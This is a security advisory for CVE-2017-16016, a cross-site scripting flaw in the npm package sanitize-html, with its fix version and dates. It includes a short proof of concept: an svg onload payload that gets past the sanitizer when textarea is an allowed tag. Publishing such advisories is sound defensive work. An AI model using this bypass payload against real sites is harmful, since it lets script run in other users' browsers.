Advisory

GHSA-xc6g-ggrc-qq4r

Also known as: CVE-2017-16016

Summary

Cross-Site Scripting in sanitize-html

Details

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2018-11-09 17:47 UTC
Modified
2023-11-08 03:58 UTC

Affected packages and fixes

sanitize-html

npm · All systems

Affected

  • introduced 0, fixed 1.11.4 (semver)

Fixed versions

1.11.4

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences